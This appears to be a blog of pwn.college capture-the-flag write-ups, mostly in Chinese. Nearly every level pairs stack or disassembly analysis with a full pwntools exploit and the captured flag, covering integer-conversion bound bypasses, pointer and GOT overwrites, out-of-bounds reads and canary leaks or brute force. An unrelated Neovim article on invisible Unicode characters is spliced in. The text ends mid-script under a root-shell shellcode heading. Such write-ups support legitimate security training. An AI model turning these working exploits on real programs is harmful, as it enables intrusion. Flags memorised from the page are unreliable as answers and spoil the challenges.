  1. 计算偏移:0x192 转换为十进制就是 402 bytes。
  2. 利用不受限制的 read,往缓冲区塞满 \x00
  3. 第 1 个 \x00 会让 path (你的输入) 被 strcmp 视为空字符串 ""
  4. 第 403 个 \x00 会精准覆盖掉 path + 0x192 (随机密码) 的第一个字节,让密码也被视为空字符串 ""

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/login-leakage-hard')

# 0x192 = 402 (十进制)
# 我们需要 402 个 \x00 来填充直到密码所在的位置
# 第 403 个 \x00 覆盖密码的第一个字节
offset = 403

payload = b'\x00' * offset

p.sendline(str(offset).encode())
p.sendline(payload)

p.interactive()
pwn.college{EziJep0N4Bnd83ahmJdcZ2XvWHL.QXxgzN4EDL4cjM1gzW}

Bounds Breaker (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass a check designed to prevent you from doing so!

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hacker@program-security~bounds-breaker-easy:~$ /challenge/bounds-breaker-easy
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffea42aa180 (RSP+0x0000) | 68 0d 00 00 00 00 00 00 | 0x0000000000000d68 |
| 0x00007ffea42aa188 (RSP+0x0008) | 38 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab338 |
| 0x00007ffea42aa190 (RSP+0x0010) | 28 b3 2a a4 fe 7f 00 00 | 0x00007ffea42ab328 |
| 0x00007ffea42aa198 (RSP+0x0018) | 20 60 40 00 01 00 00 00 | 0x0000000100406020 |
| 0x00007ffea42aa1a0 (RSP+0x0020) | 40 15 f0 00 b4 7c 00 00 | 0x00007cb400f01540 |
| 0x00007ffea42aa1a8 (RSP+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b0 (RSP+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1b8 (RSP+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c0 (RSP+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1c8 (RSP+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d0 (RSP+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1d8 (RSP+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e0 (RSP+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1e8 (RSP+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffea42aa1f0 (RSP+0x0070) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa1f8 (RSP+0x0078) | b0 a1 2a a4 fe 7f 00 00 | 0x00007ffea42aa1b0 |
| 0x00007ffea42aa200 (RSP+0x0080) | 30 b2 2a a4 fe 7f 00 00 | 0x00007ffea42ab230 |
| 0x00007ffea42aa208 (RSP+0x0088) | 2a 21 40 00 00 00 00 00 | 0x000000000040212a |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffea42aa180, and our base pointer points to 0x7ffea42aa200.
The input buffer begins at 0x7ffea42aa1b0.
The return address is stored at 0x7ffea42aa208, 88 bytes after the start of your input buffer.
  • buffer address: 0x7ffea42aa1b0
  • return address: 0x7ffea42aa208
1
2
hacker@program-security~bounds-breaker-easy:~$ nm /challenge/bounds-breaker-easy | grep win
000000000040198c T win

win -> 0x40198c

这里真正要打的不是覆盖本身,而是 signed / unsigned conversion

The standard C library uses unsigned integers for sizes, for example the last argument to read, memcmp, strncpy, and friends. By contrast, the default integer types like short, int, and long are signed.

换句话说,这题的真正切入点是:检查发生在 signed world,危险调用发生在 unsigned world。一旦这两个世界之间发生类型转换,检查就失效了。

安全检查 (bounds check): 程序执行判断 if (size > 63) { exit(); }底层调用: 绕过检查后,程序会调用底层系统调用,比如 read(0, buffer, size)read 的第三个参数类型是 size_t (unsigned)。

当你输入 -1 时,有符号的安全检查会认为 -1 < 63,合法直接放行。但当 -1 被传递给 read() 并被强制类型转换为无符号的 size_t 时,在 Two's Complement (二进制补码) 的规则下,-1 的内存表示 0xffffffffffffffff 会变成一个极其巨大的正数。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-easy')

padding = 0x7ffea42aa208 - 0x7ffea42aa1b0

payload = b'\x90' * padding + p64(0x40198c)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{4UZ8-8id5DaJFXvOX8jKVcIscGE.0VN5IDL4cjM1gzW}

Bounds Breaker (Hard)

Analysis

1
2
3
4
5
6
7
8
9
10
11
r2 -A -q -c "pdf @ sym.challenge" /challenge/bounds-breaker-hard
; CALL XREF from main @ 0x402222(x)
┌ 362: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(RDI, RSI, RDX) vars(20:sp[0x10..0xb0])
; ...
│ 0x0040208c 488945f8 mov qword [buf], RAX
│ 0x004020c1 e8baf0ffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x004020cc 83f86a cmp eax, 0x6a ; 'j' ; 106
│ ┌─< 0x004020cf 7e16 jle 0x4020e7
; ...
│ 0x00402114 e837f0ffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
  • buf -> RBP - 0x80
  • padding -> 0x80 + 8 = 136
  • win -> 0x00401ef0

Same trick as easy version, using signed -1 to bypass the jle 106 check.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *

p = process('/challenge/bounds-breaker-hard')

padding = 136

payload = b'\x90' * padding + p64(0x401ef0)

p.sendline(b"-1")
p.send(payload)

p.interactive()
pwn.college{I8YM8h8FYgC-CWSTAsEzsyV1c6v.0lN5IDL4cjM1gzW}

Casting Catastrophe (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Analysis

核心漏洞是 32-bit integer multiplication overflow

The imul eax, edx check uses 32-bit multiplication. If record_num = 42949673 and record_size = 100, then 42949673 * 100 = 4294967300 = 0x100000004. After truncation to 32 bits, the result becomes 0x00000004, which happily passes the <= 119 check.

  • buffer address: 0x7ffcb2c40f30
  • return address: 0x7ffcb2c40fc8
  • padding = 152 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = 'warning'

binary_path = '/challenge/casting-catastrophe-easy'
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 152
payload = b'\x90' * padding + p64(exe.sym['win'])

p.send(payload)
p.interactive()
pwn.college{k3b5vnCTtezRHjL8K5QJGkTcHuE.01N5IDL4cjM1gzW}

Casting Catastrophe (Hard)

Analysis

1
2
3
4
r2 -A -q -c "pdf @ sym.challenge" /challenge/casting-catastrophe-hard
# buf -> RAX -> var_30h -> RBP - 0x30
│ 0x00401fec 83f816 cmp eax, 0x16 ; 22
│ ┌─< 0x00401fef 761f jbe 0x402010

Same 32-bit multiplication overflow trick as easy, just with a much smaller buffer. Here the bound is only 22 bytes and buf lives at RBP - 0x30.

  • padding = 0x30 + 8 = 56 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwn import *

context.log_level = "warning"

binary_path = "/challenge/casting-catastrophe-hard"
exe = ELF(binary_path, checksec=False)

p = process(binary_path)

record_num = b"42949673"
record_size = b"100"

p.sendline(record_num)
p.sendline(record_size)

padding = 56
payload = b"\x90" * padding + p64(exe.sym["win"])

p.send(payload)
p.interactive()
pwn.college{44Gjyw7y3rCOCpE8CMg-lX3RMzO.0FO5IDL4cjM1gzW}

Pointer Problems (Easy)

Leverage memory corruption to leak the flag.

Analysis

这题的核心不是 ret2win,而是 partial pointer overwrite

The low bytes of the char* differ between runs because of ASLR, but the higher bytes stay aligned closely enough that a short partial overwrite still works.

  • flag is near BSS 0x5060 (obj.bssdata)
  • need_overwrite = 0x7fff67f0f7b0
  • buffer_address = 0x7fff67f0f760
  • padding = 80 bytes

We overwrite the low 2 bytes of the pointer with 0x5060.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-easy"
offset = 80
payload = b"A" * offset + p16(0x5060)

for count in itertools.count():
p = process(path)
p.sendline(str(offset+2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{8mxldk5zAFKNhxJWkA9vMtAZPLd.QXygzN4EDL4cjM1gzW}

Pointer Problems (Hard)

Analysis

1
2
3
4
5
hacker@program-security~pointer-problems-hard:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/pointer-problems-hard
; BSS data address -> 0x4040
│ 0x00001899 488d05a027.. lea RAX, obj.bssdata ; 0x4040
; buf -> RBP - 0x60, string pointer at RBP - 0x10
; padding = 0x60 - 0x10 = 0x50 = 80 bytes

Same trick as easy. We don't need the full pointer, only the low bytes that redirect the stack string pointer into the flag buffer in .BSS.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import itertools
from pwn import *

path = "/challenge/pointer-problems-hard"
offset = 80
payload = b"A" * offset + p16(0x4040)

for count in itertools.count():
p = process(path)
p.sendline(str(offset + 2).encode())
p.sendline(payload)
output = p.clean(timeout=2)
if b"pwn.college{" in output:
print(f"[+] Success on Try {count}")
print(output.decode("utf-8", errors="ignore"))
p.close()
break
p.close()
pwn.college{gISXStoHI3uPCfeOHg3yKKOefCg.QXzgzN4EDL4cjM1gzW}

Anomalous Array (Easy)

Leverage an Array to obtain the flag.

Analysis

这题其实是 OOB read,只是包装成“查看数组元素”。数组在栈的高地址,flag 在更低的地址,所以思路是使用 negative index

  • array start: 0x7fffcfc10c98
  • flag address: 0x7fffcfc106d0
  • distance: 0x7fffcfc10c98 - 0x7fffcfc106d0 = 1480 bytes
  • element size: 8 bytes
  • index: 1480 / 8 = 185 -> use -185

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'error'
flag = b""

for i in range(-185, -170):
p = process('/challenge/anomalous-array-easy')
p.sendlineafter(b"Which number would you like to view?", str(i).encode())
p.recvuntil(b"Your hacker number is ")
val = p.recvline().strip().decode().zfill(16)
chunk = bytes.fromhex(val)[::-1]
flag += chunk
p.close()
if b"}" in chunk:
break

print(f"\n[+] flag: {flag.decode('utf-8', errors='ignore')}")
pwn.college{0DcG-T7IqYV0QKtiZidy4E-xZUh.QX0gzN4EDL4cjM1gzW}

Anomalous Array (Hard)

Leverage an Array to obtain the flag.

Analysis

Same approach as easy version, using a negative array index to read the flag from memory.

pwn.college{...}

Now You GOT It (Easy)

Leverage an Array to obtain the flag.

Analysis

这题从越界读写切到 GOT overwrite

  • win function: 0x1a72
  • GOT base: 0x5000
  • array base: 0x57c0
  • offset: 0x5000 - 0x57c0 = -0x7c0 (-1984 bytes)
  • index: -1984 / 8 = -248

We overwrite putchar@GOT with the address of win().

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-easy")
p = process("/challenge/now-you-got-it-easy")

# Calculate index based on binary layout
# puts_addr - array_addr
index = (elf.got["putchar"] - 0x57C0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16)

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{YHBFpvTU6V94JGyRaW-ZtWT0Zlv.QX2gzN4EDL4cjM1gzW}

Now You GOT It (Hard)

Leverage an Array to obtain the flag.

Analysis

Hard 版的关键变化是,不能像 Easy 那样直接把 puts@GOT 指到 win 入口,否则 win 自己内部先调用 puts,马上递归爆炸。

解法:offset jump (偏移跳转)

看看 win 函数开头:

1
2
3
4
5
6
0x00001e84      f30f1efa       endbr64
0x00001e88 55 push RBP
0x00001e89 4889e5 mov RBP, RSP
0x00001e8c 488d3d7511.. lea RDI, str.You_win__Here_is_your_flag:
0x00001e93 e878f2ffff call sym.imp.puts <-- 死循环点
0x00001e98 be00000000 mov esi, 0 <-- 我们从这里开始!

如果我们把 puts@GOT 覆盖为 win_addr + 0x14 (即 0x1e98),就能绕过死循环。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = "amd64"
context.log_level = "info"

elf = ELF("/challenge/now-you-got-it-hard")
p = process("/challenge/now-you-got-it-hard")

# array starts at 0x5dd0 relative
index = (elf.got["puts"] - 0x5dd0) // 8

p.recvuntil(b"FREE LEAK: win is located at: ")
win_addr = int(p.recvline().strip(), 16) + 0x14

p.sendlineafter(b"Which number would you like to view? ", str(index).encode())
p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())

p.interactive()
pwn.college{4R4AKNBLpYoKyJi6oIUwiWfpZI5.QX3gzN4EDL4cjM1gzW}

Loop Lunacy (Easy)

Overflow a buffer and smash the stack to obtain the flag, but this time in a PIE binary with a stack canary.

Analysis

这一题的重点不是直接越过 canary,而是改写循环计数变量 n,让后续单字节写入直接跳到 canary 后面。

1
2
3
while (n < size) {
n += read(0, input + n, 1);
}
  • buf -> 0x7fff2243c7e0
  • n -> 0x7fff2243c83c (offset 92)
  • return address -> 0x7fff2243c858 (offset 120)

我们覆盖 n 为 119,下一次 read 就会写入到 input + 120,即 return address 的位置。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# padding to n
payload = b"A" * 92 + p8(119) + p16(0x1CF9) # target win_authed check skip

p = process("/challenge/loop-lunacy-easy")
p.sendline(b"122")
p.sendline(payload)
p.interactive()
pwn.college{cTAXWFaqIFSJDGH8jZMVtQUXTPF.0VNwMDL4cjM1gzW}

Loop Lunacy (Hard)

Analysis

Hard 版还是同样的单字节循环写入,只是局部变量布局稍微绕一点。

  • buf -> RBP - 0x40 (64 bytes)
  • n -> RBP - 0x58
  • buf to n offset = 48 bytes
  • target win_authed offset -> 0x1481

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# overwrite n to point to return address
payload = b"A" * 48 + p8(64 + 8 - 1) + p16(0x1481)

while True:
p = process("/challenge/loop-lunacy-hard")
p.sendline(b"74")
p.sendline(payload)
a = p.recvall(timeout=1)
if b"pwn.college{" in a:
print(a.decode(errors="ignore"))
break
pwn.college{AYNJAU4YM4hhzf7JinEkwYZfMVn.0lNwMDL4cjM1gzW}

Nosy Neighbor (Easy)

Overflow a buffer and leak the flag.

Analysis

这一题是典型的字符串越界泄露。printf("%s") 会一直打印到遇见 \x00 为止。

  • buf -> 0x7ffcec871790
  • flag -> 0x7ffcec8717f1
  • offset -> 97 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-easy")
p.sendline(b"97")
p.send(b"A" * 97)
p.interactive()
pwn.college{Me-6tE1p3dFRGXTXtpMORPj5b_W.01NwMDL4cjM1gzW}

Nosy Neighbor (Hard)

Analysis

Hard 版也是同一类 bug,输入是从 path 开始写,真正的可打印缓冲区在 path + 0x6d

  • offset -> 0x6d -> 109

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/nosy-neighbor-hard")
p.sendline(b"109")
p.send(b"A" * 109)
p.interactive()
pwn.college{EtNjf_nSDtmYIx3VjpoxbpZVdLa.0FOwMDL4cjM1gzW}

Recursive Ruin (Easy)

Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

Analysis

这题利用 recursive backdoor。第一次输入泄露 canary 并让同一个进程再次进入 challenge(),复用同一个 canary。

  1. 第一发 Payload (Information Leak): 覆盖 canary 的最低字节 (\x00),利用 printf 泄露剩余 7 字节。加入 "REPEAT" 触发递归。
  2. 第二发 Payload (Control Flow Hijack): 在第二层 challenge() 中,利用泄露的 canary 构造 payload 绕过检查。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"154")
payload2 = b"A" * 136 + canary + b"B" * 8 + b"\xb3\x83"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{sISl_MjbdZ-M6Xu-jeMXu-Gxj89.0VMxMDL4cjM1gzW}

Recursive Ruin (Hard)

Analysis

Hard 版同样是两阶段利用。区别只是缓冲区更小,偏移更短。

  • buf -> RBP - 0x20
  • canary -> RBP - 8
  • buf to canary offset = 24 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/recursive-ruin-hard")
try:
p.sendlineafter(b"Payload size:", b"25")
payload1 = b"REPEAT".ljust(24, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(25)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"42")
payload2 = b"A" * 24 + canary + b"B" * 8 + b"\x6b\x1c"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{...}

Lingering Leftover (Easy)

Leak data left behind unintentionally by utilizing clever payload construction.

Analysis

这一题不是主动泄露,而是栈残留 (stack residual)。程序前面读过 flag,虽然没有再打印 flag buffer,但残留内容还躺在栈上。

  • buf -> 0x7ffc740163f0
  • flag at 0x7ffc7401646a
  • distance -> 122 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-easy")
p.sendline(b"122")
p.send(b"A" * 122)
p.interactive()
pwn.college{Ip-rheFTFOTZw6iCFe4JX-YqSUV29vW.01MxMDL4cjM1gzW}

Lingering Leftover (Hard)

Analysis

Hard 版也是同一个思路,从函数之间的栈复用关系里确认 flag 的位置。

  • buf -> RBP - 0x200
  • flag read to RBP - 0x160 + 0x56
  • distance = 0x200 - 0x160 + 0x56 = 246 bytes

Exploit

1
2
3
4
5
from pwn import *
p = process("/challenge/lingering-leftover-hard")
p.sendline(b"246")
p.send(b"A" * 246)
p.interactive()
pwn.college{UOnuy5KfSK49QeGSt2X8WSjScbk.0FNxMDL4cjM1gzW}

Latent Leak (Easy)

Leak data left behind unintentionally to defeat a stack canary in a PIE binary.

Analysis

利用未初始化栈内容去捞一份 canary 副本。

  • buf -> 0x7ffd91a01960
  • canary copy at 0x7ffd91a019e8
  • distance = 136 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-easy")
try:
p.sendlineafter(b"Payload size:", b"137")
payload1 = b"REPEAT".ljust(136, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(137)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"426")
payload2 = b"A" * 408 + canary + b"B" * 8 + b"\xd4\x1f"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{USkSWFY_9ZoRpm_X4bbinvVet1i.0VNxMDL4cjM1gzW}

Latent Leak (Hard)

Analysis

Hard 版需定位 canary copy 在栈上的位置。

  • buf -> var_170h
  • canary copy at RBP - 0x118
  • distance = 88 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import itertools
from pwn import *

context.log_level = "error"

def exploit():
p = process("/challenge/latent-leak-hard")
try:
p.sendlineafter(b"Payload size:", b"89")
payload1 = b"REPEAT".ljust(88, b"A") + b"X"
p.sendafter(b"bytes)!\n", payload1)

p.recvuntil(b"You said: ")
p.recv(89)
canary = b"\x00" + p.recv(7)

p.sendlineafter(b"Payload size:", b"378")
payload2 = b"A" * 360 + canary + b"B" * 8 + b"\x3a\x18"
p.sendafter(b"bytes)!\n", payload2)

result = p.recvall(timeout=1)
if b"pwn.college{" in result:
print(result.decode())
return True
except: pass
finally: p.close()
return False

for i in itertools.count():
if exploit(): break
pwn.college{4Tl0_0M2VD2swhMKrBqyJ-NmVRB.0lNxMDL4cjM1gzW}

Fork Foolery (Easy)

Defeat a stack canary in a PIE binary by utilizing a network-style fork server in the target binary.

Analysis

fork 出来的子进程会继承父进程的 canary。我们可以通过逐字节爆破 (byte-by-byte brute-force) 来获取 canary。

  • buf to canary offset = 120 bytes

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x289 + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{AkjeEdJtTF04io9yqVyjy88wkvF.01NxMDL4cjM1gzW}

Fork Foolery (Hard)

Analysis

Hard 版同样是 fork server 爆破。

  • buf to canary offset = 120 bytes
  • target win_authed offset = 0x9db

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import itertools
import sys
from pwn import *

context.log_level = "error"

def get_canary():
canary = b"\x00"
for i in range(7):
for guess in range(256):
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + bytes([guess])
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.1)
if b"stack smashing detected" not in result:
canary += bytes([guess])
p.close(); break
except: pass
finally: p.close()
return canary

def pwn_it(canary):
for attempts in itertools.count():
f = attempts % 16
p = remote("localhost", 1337)
try:
payload = b"A" * 120 + canary + b"B" * 8 + p16(0x9db + 0x1000 * f)
p.sendlineafter(b"Payload size:", str(len(payload)).encode())
p.sendafter(b"bytes)!\n", payload)
result = p.recvall(timeout=0.2)
if b"pwn.college{" in result:
print(result.decode()); p.close(); break
except: pass
finally: p.close()

if __name__ == "__main__":
c = get_canary()
if len(c) == 8: pwn_it(c)
pwn.college{wQr_iWOgYTj48UrRNGXxYBBRJow.0FOxMDL4cjM1gzW}

Ever copy-pasted a code snippet from a browser (Gemini) into Neovim, only to see a strange + or a highlighted <U+00A0>? Why does your Python script throw a SyntaxError on a line that looks perfectly fine?

The answer lies in the "invisible" world of Unicode control characters. These characters were designed for typography, but they have become a nightmare for modern programmers.

1. The Most Common Culprit: NBSP (U+00A0)

U+00A0 (Non-Breaking Space) wasn't invented to annoy programmers. In the world of Typography, it serves a very legitimate purpose.

Core Origin: Prevent Line Wrapping

In traditional word processing and browser rendering, a standard space (U+0020) is a "soft" break point. When a line is full, the system wraps the text at the space.

However, some word pairs should never be separated. NBSP tells the rendering engine: "These two words are bound together. If you can't fit them both, move the entire block to the next line."

Proper Use Cases

  • Values & Units: 100 kg or 500 MHz. You don't want 100 at the end of a line and kg at the start of the next.
  • Names & Titles: Mr. Anderson or Dr. Freeman.
  • Language Specifics: In French typography, characters like : or ! must be preceded by a space. To prevent the punctuation from being isolated on a new line, NBSP is used.

Why It's a Coding Nightmare

Web developers and WYSIWYG editors (like Microsoft Word) often abuse &nbsp; to force indentation or spacing. Because browsers "collapse" multiple standard spaces (U+0020) into one, people use NBSP to create "hard" whitespace.

When you copy code from these sources, U+00A0 is carried over into your terminal. Python, Bash, and C are rigorous: they only recognize U+0020 as a valid syntax separator. Anything else is an "invalid character."

2. Visualizing and Fixing NBSP in Neovim

If you use Neovim, you can expose these hidden characters by setting listchars.

Configuration (init.lua)

1
2
3
4
5
6
7
8
9
vim.opt.list = true -- Enable list mode to show invisible characters

vim.opt.listchars = {
nbsp = '☠', -- Highlight U+00A0 as a skull (or '✗', '⍽')
trail = '·', -- Show trailing spaces
tab = '▸ ', -- Make Tabs visible
extends = '❯', -- Show wrap indicators
precedes = '❮',
}

The Quick Fix

To substitute all NBSP characters with normal spaces in the current buffer:

1
:%s/\%u00a0/ /g

3. The Hidden Menace: Zero-Width Characters (U+200B - U+200F)

If NBSP is a nuisance, Zero-Width Characters are the "shadow realm" of Unicode. These characters are completely invisible in most GUI editors but occupy bytes in your file.

Common Variants

  • <U+200B> Zero Width Space (ZWSP): A "potential" break point for long URLs or languages without natural spaces (like Thai).
  • <U+200C> Zero Width Non-Joiner (ZWNJ): Prevents characters from forming a ligature (e.g., stopping f and i from becoming ).
  • <U+200D> Zero Width Joiner (ZWJ): The "stitcher." It combines multiple characters into one.
    • Emoji Magic: A "Woman Astronaut" (👩‍🚀) is actually Woman (👩) + ZWJ + Rocket (🚀).
    • Family: 👨‍👩‍👧‍👦 is a chain of 4 emojis connected by 3 ZWJs.
  • <U+200E> (LRM) & <U+200F> (RLM): Used to control Left-to-Right and Right-to-Left text direction in bi-directional (Bidi) text.

4. Why They Are Dangerous (The Invisible Threat)

  1. Syntax Error Hell: You copy a Python script, and it fails with SyntaxError: invalid character in identifier. The error is "invisible" because the zero-width character is hidden inside a variable name.
  2. Security (Homoglyph Attacks): Attackers can create two identical-looking URLs. github.com and github.com (with a hidden <U+200B>) can lead you to a phishing site.
  3. Invisible Fingerprinting: Some companies use combinations of zero-width characters to encode a "hidden watermark" or employee ID in sensitive documents. If you leak the text, they can extract the ID from the invisible characters.

5. The Neovim Purge: Clean Your Code

Neovim's listchars will often render these as hex codes like <U+200B> if they aren't explicitly handled, making them easy to spot.

To wipe your file of all zero-width "garbage" from U+200B to U+200F:

1
:%s/[\%u200B-\%u200F]//g

This regex matches the entire range of common zero-width control characters and deletes them instantly.

Conclusion

In the UNIX philosophy, content and presentation are separate. Relying on invisible characters to control layout is "soulless." As a power user, your code should be clean, visible, and free of typography-bloat.

Keep your listchars on, and never trust a copy-paste from a browser blindly.

ello ackersl!

Write and execute shellcode to read the flag, but your inputted data is filtered before execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
###
### Welcome to /challenge/ello-ackers!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x29e93000!
Reading 0x1000 bytes from stdin.

Executing filter...

This challenge requires that your shellcode have no H bytes!

Failed filter at byte 2048!

在 ASCII 码中,H 的十六进制是 0x48。 在 x86-64 架构的机器码中,0x48REX.W 前缀。任何对 64 位寄存器(如 rax, rdi, rsi)进行操作的指令,汇编器基本都会给它加上 0x48 前缀。

比如:

  • mov rax, 0x3b -> 48 c7 c0 3b 00 00 00
  • add rdi, 8 -> 48 83 c7 08

x86-64 架构有一个特性:对 32 位寄存器(如 eax, edi)进行操作时,CPU 会自动将该寄存器的高 32 位清零,并且不需要 REX.W 前缀。所以,mov eax, 2 对应的机器码是 b8 02 00 00 00

Method 1: Get root shell (setuid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

# get root shell(setuid)
shellcode_asm = """
.global _start
_start:
